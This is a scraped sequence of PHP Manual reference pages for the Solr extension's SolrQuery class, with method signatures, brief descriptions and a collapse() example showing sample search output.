SolrQuery::addStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet

说明

public SolrQuery::addStatsFacet(string $field): SolrQuery

Requests a return of sub results for values within the given facet. Maps to the stats.facet field

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to stats.field parameter

  • ? SolrQuery::addStatsFacet
  • SolrQuery::collapse ?
  • PHP Manual
  • SolrQuery
  • Maps to stats.field parameter

SolrQuery::addStatsField

(PECL solr >= 0.9.2)

SolrQuery::addStatsField — Maps to stats.field parameter

说明

public SolrQuery::addStatsField(string $field): SolrQuery

Maps to stats.field parameter This methods adds another stats.field parameter.

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Collapses the result set to a single document per group

  • ? SolrQuery::addStatsField
  • SolrQuery::__construct ?
  • PHP Manual
  • SolrQuery
  • Collapses the result set to a single document per group

SolrQuery::collapse

(No version information available, might only be in Git)

SolrQuery::collapse — Collapses the result set to a single document per group

说明

public SolrQuery::collapse(SolrCollapseFunction $collapseFunction): SolrQuery

Collapses the result set to a single document per group before it forwards the result set to the rest of the search components.

So all downstream components (faceting, highlighting, etc...) will work with the collapsed result set.

参数

collapseFunction

返回值

Returns the current SolrQuery object

示例

Example #1 SolrQuery::collapse() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrQuery::collapse
  • SolrQuery::__destruct ?
  • PHP Manual
  • SolrQuery
  • Constructor

SolrQuery::__construct

(PECL solr >= 0.9.2)

SolrQuery::__construct — Constructor

说明

public SolrQuery::__construct(string $q = ?)

Constructor.

参数

q

Optional search query

返回值

None

错误／异常

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

更新日志

版本 | 说明
PECL solr 2.0.0 | If q was invalid, then a SolrIllegalArgumentException is now thrown. Previously an error was emitted.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrQuery::__construct
  • SolrQuery::getExpand ?
  • PHP Manual
  • SolrQuery
  • Destructor

SolrQuery::__destruct

(PECL solr >= 0.9.2)

SolrQuery::__destruct — Destructor

说明

public SolrQuery::__destruct()

Destructor

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Returns true if group expanding is enabled

  • ? SolrQuery::__destruct
  • SolrQuery::getExpandFilterQueries ?
  • PHP Manual
  • SolrQuery
  • Returns true if group expanding is enabled

SolrQuery::getExpand

(PECL solr >= 2.2.0)

SolrQuery::getExpand — Returns true if group expanding is enabled

说明

public SolrQuery::getExpand(): bool

Returns true if group expanding is enabled

参数

此函数没有参数。

返回值

Returns whether group expanding is enabled.

User Contributed Notes

There are no user contributed notes for this page.


Returns the expand filter queries

  • ? SolrQuery::getExpand
  • SolrQuery::getExpandQuery ?
  • PHP Manual
  • SolrQuery
  • Returns the expand filter queries

SolrQuery::getExpandFilterQueries

(PECL solr >= 2.2.0)

SolrQuery::getExpandFilterQueries — Returns the expand filter queries

说明

public SolrQuery::getExpandFilterQueries(): array

Returns the expand filter queries

参数

此函数没有参数。

返回值

Returns the expand filter queries.

User Contributed Notes

There are no user contributed notes for this page.


Returns the expand query expand.q parameter

  • ? SolrQuery::getExpandFilterQueries
  • SolrQuery::getExpandRows ?
  • PHP Manual
  • SolrQuery
  • Returns the expand query expand.q parameter

SolrQuery::getExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::getExpandQuery — Returns the expand query expand.q parameter

说明

public SolrQuery::getExpandQuery(): array

Returns the expand query expand.q parameter

参数

此函数没有参数。

返回值

Returns the expand query.

User Contributed Notes

There are no user contributed notes for this page.


Returns The number of rows to display in each group (expand.rows)

  • ? SolrQuery::getExpandQuery
  • SolrQuery::getExpandSortFields ?
  • PHP Manual
  • SolrQuery
  • Returns The number of rows to display in each group (expand.rows)

SolrQuery::getExpandRows

(PECL solr >= 2.2.0)

SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)

说明

public SolrQuery::getExpandRows(): int

Returns The number of rows to display in each group (expand.rows)

参数

此函数没有参数。

返回值

Returns the number of rows.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of fields

  • ? SolrQuery::getExpandRows
  • SolrQuery::getFacet ?
  • PHP Manual
  • SolrQuery
  • Returns an array of fields

SolrQuery::getExpandSortFields

(PECL solr >= 2.2.0)

SolrQuery::getExpandSortFields — Returns an array of fields

说明

public SolrQuery::getExpandSortFields(): array

Returns an array of fields

参数

此函数没有参数。

返回值

Returns an array of fields.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet parameter

  • ? SolrQuery::getExpandSortFields
  • SolrQuery::getFacetDateEnd ?
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet parameter

SolrQuery::getFacet

(PECL solr >= 0.9.2)

SolrQuery::getFacet — Returns the value of the facet parameter

说明

public SolrQuery::getFacet(): bool

Returns the value of the facet parameter.

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.end parameter

  • ? SolrQuery::getFacet
  • SolrQuery::getFacetDateFields ?
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.end parameter

SolrQuery::getFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter

说明

public SolrQuery::getFacetDateEnd(string $field_override = ?): string

Returns the value for the facet.date.end parameter. This method accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet.date fields

  • ? SolrQuery::getFacetDateEnd
  • SolrQuery::getFacetDateGap ?
  • PHP Manual
  • SolrQuery
  • Returns all the facet.date fields

SolrQuery::getFacetDateFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateFields — Returns all the facet.date fields

说明

public SolrQuery::getFacetDateFields(): array

Returns all the facet.date fields

参数

此函数没有参数。

返回值

Returns all the facet.date fields as an array or null if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.gap parameter

  • ? SolrQuery::getFacetDateFields
  • SolrQuery::getFacetDateHardEnd ?
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.gap parameter

SolrQuery::getFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter

说明

public SolrQuery::getFacetDateGap(string $field_override = ?): string

Returns the value of the facet.date.gap parameter. It accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.hardend parameter

  • ? SolrQuery::getFacetDateGap
  • SolrQuery::getFacetDateOther ?
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.hardend parameter

SolrQuery::getFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter

说明

public SolrQuery::getFacetDateHardEnd(string $field_override = ?): string

Returns the value of the facet.date.hardend parameter. Accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.other parameter

  • ? SolrQuery::getFacetDateHardEnd
  • SolrQuery::getFacetDateStart ?
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.other parameter

SolrQuery::getFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter

说明

public SolrQuery::getFacetDateOther(string $field_override = ?): array

Returns the value for the facet.date.other parameter. This method accepts an optional field override.

参数

field_override

The name of the field

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the lower bound for the first date range for all date faceting on this field

  • ? SolrQuery::getFacetDateOther
  • SolrQuery::getFacetFields ?
  • PHP Manual
  • SolrQuery
  • Returns the lower bound for the first date range for all date faceting on this field

SolrQuery::getFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field

说明

public SolrQuery::getFacetDateStart(string $field_override = ?): string

Returns the lower bound for the first date range for all date faceting on this field. Accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet fields

  • ? SolrQuery::getFacetDateStart
  • SolrQuery::getFacetLimit ?
  • PHP Manual
  • SolrQuery
  • Returns all the facet fields

SolrQuery::getFacetFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetFields — Returns all the facet fields

说明

public SolrQuery::getFacetFields(): array

Returns all the facet fields

参数

此函数没有参数。

返回值

Returns an array of all the fields and null if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of constraint counts that should be returned for the facet fields

  • ? SolrQuery::getFacetFields
  • SolrQuery::getFacetMethod ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of constraint counts that should be returned for the facet fields

SolrQuery::getFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields

说明

public SolrQuery::getFacetLimit(string $field_override = ?): int

Returns the maximum number of constraint counts that should be returned for the facet fields. This method accepts an optional field override

参数

field_override

The name of the field to override for

返回值

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.method parameter

  • ? SolrQuery::getFacetLimit
  • SolrQuery::getFacetMinCount ?
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.method parameter

SolrQuery::getFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::getFacetMethod — Returns the value of the facet.method parameter

说明

public SolrQuery::getFacetMethod(string $field_override = ?): string

Returns the value of the facet.method parameter. This accepts an optional field override.

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum counts for facet fields should be included in the response

  • ? SolrQuery::getFacetMethod
  • SolrQuery::getFacetMissing ?
  • PHP Manual
  • SolrQuery
  • Returns the minimum counts for facet fields should be included in the response

SolrQuery::getFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response

说明

public SolrQuery::getFacetMinCount(string $field_override = ?): int

Returns the minimum counts for facet fields should be included in the response. It accepts an optional field override

参数

field_override

The name of the field

返回值

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the current state of the facet.missing parameter

  • ? SolrQuery::getFacetMinCount
  • SolrQuery::getFacetOffset ?
  • PHP Manual
  • SolrQuery
  • Returns the current state of the facet.missing parameter

SolrQuery::getFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter

说明

public SolrQuery::getFacetMissing(string $field_override = ?): bool

Returns the current state of the facet.missing parameter. This accepts an optional field override

参数

field_override

The name of the field

返回值

Returns a boolean on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns an offset into the list of constraints to be used for pagination

  • ? SolrQuery::getFacetMissing
  • SolrQuery::getFacetPrefix ?
  • PHP Manual
  • SolrQuery
  • Returns an offset into the list of constraints to be used for pagination

SolrQuery::getFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination

说明

public SolrQuery::getFacetOffset(string $field_override = ?): int

Returns an offset into the list of constraints to be used for pagination. Accepts an optional field override

参数

field_override

The name of the field to override for.

返回值

Returns an integer on success and null if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet prefix

  • ? SolrQuery::getFacetOffset
  • SolrQuery::getFacetQueries ?
  • PHP Manual
  • SolrQuery
  • Returns the facet prefix

SolrQuery::getFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::getFacetPrefix — Returns the facet prefix

说明

public SolrQuery::getFacetPrefix(string $field_override = ?): string

Returns the facet prefix

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet queries

  • ? SolrQuery::getFacetPrefix
  • SolrQuery::getFacetSort ?
  • PHP Manual
  • SolrQuery
  • Returns all the facet queries

SolrQuery::getFacetQueries

(PECL solr >= 0.9.2)

SolrQuery::getFacetQueries — Returns all the facet queries

说明

public SolrQuery::getFacetQueries(): array

Returns all the facet queries

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet sort type

  • ? SolrQuery::getFacetQueries
  • SolrQuery::getFields ?
  • PHP Manual
  • SolrQuery
  • Returns the facet sort type

SolrQuery::getFacetSort

(PECL solr >= 0.9.2)

SolrQuery::getFacetSort — Returns the facet sort type

说明

public SolrQuery::getFacetSort(string $field_override = ?): int

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT)

参数

field_override

The name of the field

返回值

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT) on success or null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the list of fields that will be returned in the response

  • ? SolrQuery::getFacetSort
  • SolrQuery::getFilterQueries ?
  • PHP Manual
  • SolrQuery
  • Returns the list of fields that will be returned in the response

SolrQuery::getFields

(PECL solr >= 0.9.2)

SolrQuery::getFields — Returns the list of fields that will be returned in the response

说明

public SolrQuery::getFields(): array

Returns the list of fields that will be returned in the response

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of filter queries

  • ? SolrQuery::getFields
  • SolrQuery::getGroup ?
  • PHP Manual
  • SolrQuery
  • Returns an array of filter queries

SolrQuery::getFilterQueries

(PECL solr >= 0.9.2)

SolrQuery::getFilterQueries — Returns an array of filter queries

说明

public SolrQuery::getFilterQueries(): array

Returns an array of filter queries. These are queries that can be used to restrict the super set of documents that can be returned, without influencing score

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns true if grouping is enabled

  • ? SolrQuery::getFilterQueries
  • SolrQuery::getGroupCachePercent ?
  • PHP Manual
  • SolrQuery
  • Returns true if grouping is enabled

SolrQuery::getGroup

(PECL solr >= 2.2.0)

SolrQuery::getGroup — Returns true if grouping is enabled

说明

public SolrQuery::getGroup(): bool

Returns true if grouping is enabled

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns group cache percent value

  • ? SolrQuery::getGroup
  • SolrQuery::getGroupFacet ?
  • PHP Manual
  • SolrQuery
  • Returns group cache percent value

SolrQuery::getGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::getGroupCachePercent — Returns group cache percent value

说明

public SolrQuery::getGroupCachePercent(): int

Returns group cache percent value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.facet parameter value

  • ? SolrQuery::getGroupCachePercent
  • SolrQuery::getGroupFields ?
  • PHP Manual
  • SolrQuery
  • Returns the group.facet parameter value

SolrQuery::getGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::getGroupFacet — Returns the group.facet parameter value

说明

public SolrQuery::getGroupFacet(): bool

Returns the group.facet parameter value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupFacet() - Sets group.facet parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns group fields (group.field parameter values)

  • ? SolrQuery::getGroupFacet
  • SolrQuery::getGroupFormat ?
  • PHP Manual
  • SolrQuery
  • Returns group fields (group.field parameter values)

SolrQuery::getGroupFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupFields — Returns group fields (group.field parameter values)

说明

public SolrQuery::getGroupFields(): array

Returns group fields (group.field parameter values)

参数

此函数没有参数。

返回值

参见

  • SolrQuery::addGroupField() - Add a field to be used to group results

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.format value

  • ? SolrQuery::getGroupFields
  • SolrQuery::getGroupFunctions ?
  • PHP Manual
  • SolrQuery
  • Returns the group.format value

SolrQuery::getGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::getGroupFormat — Returns the group.format value

说明

public SolrQuery::getGroupFormat(): string

Returns the group.format value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns group functions (group.func parameter values)

  • ? SolrQuery::getGroupFormat
  • SolrQuery::getGroupLimit ?
  • PHP Manual
  • SolrQuery
  • Returns group functions (group.func parameter values)

SolrQuery::getGroupFunctions

(PECL solr >= 2.2.0)

SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)

说明

public SolrQuery::getGroupFunctions(): array

Returns group functions (group.func parameter values)

参数

此函数没有参数。

返回值

参见

  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.limit value

  • ? SolrQuery::getGroupFunctions
  • SolrQuery::getGroupMain ?
  • PHP Manual
  • SolrQuery
  • Returns the group.limit value

SolrQuery::getGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::getGroupLimit — Returns the group.limit value

说明

public SolrQuery::getGroupLimit(): int

Returns the group.limit value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.main value

  • ? SolrQuery::getGroupLimit
  • SolrQuery::getGroupNGroups ?
  • PHP Manual
  • SolrQuery
  • Returns the group.main value

SolrQuery::getGroupMain

(PECL solr >= 2.2.0)

SolrQuery::getGroupMain — Returns the group.main value

说明

public SolrQuery::getGroupMain(): bool

Returns the group.main value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.ngroups value

  • ? SolrQuery::getGroupMain
  • SolrQuery::getGroupOffset ?
  • PHP Manual
  • SolrQuery
  • Returns the group.ngroups value

SolrQuery::getGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::getGroupNGroups — Returns the group.ngroups value

说明

public SolrQuery::getGroupNGroups(): bool

Returns the group.ngroups value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.offset value

  • ? SolrQuery::getGroupNGroups
  • SolrQuery::getGroupQueries ?
  • PHP Manual
  • SolrQuery
  • Returns the group.offset value

SolrQuery::getGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::getGroupOffset — Returns the group.offset value

说明

public SolrQuery::getGroupOffset(): int

Returns the group.offset value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupOffset() - Sets the group.offset parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns all the group.query parameter values

  • ? SolrQuery::getGroupOffset
  • SolrQuery::getGroupSortFields ?
  • PHP Manual
  • SolrQuery
  • Returns all the group.query parameter values

SolrQuery::getGroupQueries

(PECL solr >= 2.2.0)

SolrQuery::getGroupQueries — Returns all the group.query parameter values

说明

public SolrQuery::getGroupQueries(): array

Returns all the group.query parameter values

参数

此函数没有参数。

返回值

array

参见

  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.sort value

  • ? SolrQuery::getGroupQueries
  • SolrQuery::getGroupTruncate ?
  • PHP Manual
  • SolrQuery
  • Returns the group.sort value

SolrQuery::getGroupSortFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupSortFields — Returns the group.sort value

说明

public SolrQuery::getGroupSortFields(): array

Returns the group.sort value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)

User Contributed Notes

There are no user contributed notes for this page.


Returns the group.truncate value

  • ? SolrQuery::getGroupSortFields
  • SolrQuery::getHighlight ?
  • PHP Manual
  • SolrQuery
  • Returns the group.truncate value

SolrQuery::getGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::getGroupTruncate — Returns the group.truncate value

说明

public SolrQuery::getGroupTruncate(): bool

Returns the group.truncate value

参数

此函数没有参数。

返回值

参见

  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl parameter

  • ? SolrQuery::getGroupTruncate
  • SolrQuery::getHighlightAlternateField ?
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl parameter

SolrQuery::getHighlight

(PECL solr >= 0.9.2)

SolrQuery::getHighlight — Returns the state of the hl parameter

说明

public SolrQuery::getHighlight(): bool

Returns a boolean indicating whether or not to enable highlighted snippets to be generated in the query response.

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the highlight field to use as backup or default

  • ? SolrQuery::getHighlight
  • SolrQuery::getHighlightFields ?
  • PHP Manual
  • SolrQuery
  • Returns the highlight field to use as backup or default

SolrQuery::getHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default

说明

public SolrQuery::getHighlightAlternateField(string $field_override = ?): string

Returns the highlight field to use as backup or default. It accepts an optional override.

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields that Solr should generate highlighted snippets for

  • ? SolrQuery::getHighlightAlternateField
  • SolrQuery::getHighlightFormatter ?
  • PHP Manual
  • SolrQuery
  • Returns all the fields that Solr should generate highlighted snippets for

SolrQuery::getHighlightFields

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for

说明

public SolrQuery::getHighlightFields(): array

Returns all the fields that Solr should generate highlighted snippets for

参数

此函数没有参数。

返回值

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the formatter for the highlighted output

  • ? SolrQuery::getHighlightFields
  • SolrQuery::getHighlightFragmenter ?
  • PHP Manual
  • SolrQuery
  • Returns the formatter for the highlighted output

SolrQuery::getHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output

说明

public SolrQuery::getHighlightFormatter(string $field_override = ?): string

Returns the formatter for the highlighted output

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text snippet generator for highlighted text

  • ? SolrQuery::getHighlightFormatter
  • SolrQuery::getHighlightFragsize ?
  • PHP Manual
  • SolrQuery
  • Returns the text snippet generator for highlighted text

SolrQuery::getHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text

说明

public SolrQuery::getHighlightFragmenter(string $field_override = ?): string

Returns the text snippet generator for highlighted text. Accepts an optional field override.

参数

field_override

The name of the field

返回值

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of characters of fragments to consider for highlighting

  • ? SolrQuery::getHighlightFragmenter
  • SolrQuery::getHighlightHighlightMultiTerm ?
  • PHP Manual
  • SolrQuery
  • Returns the number of characters of fragments to consider for highlighting

SolrQuery::getHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting

说明

public SolrQuery::getHighlightFragsize(string $field_override = ?): int

Returns the number of characters of fragments to consider for highlighting. Zero implies no fragmenting. The entire field should be used.

参数

field_override

The name of the field

返回值

Returns an integer on success or null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

  • ? SolrQuery::getHighlightFragsize
  • SolrQuery::getHighlightMaxAlternateFieldLength ?
  • PHP Manual
  • SolrQuery
  • Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

SolrQuery::getHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

说明

public SolrQuery::getHighlightHighlightMultiTerm(): bool

Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

参数

此函数没有参数。

返回值

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters of the field to return

  • ? SolrQuery::getHighlightHighlightMultiTerm
  • SolrQuery::getHighlightMaxAnalyzedChars ?
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters of the field to return

SolrQuery::getHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

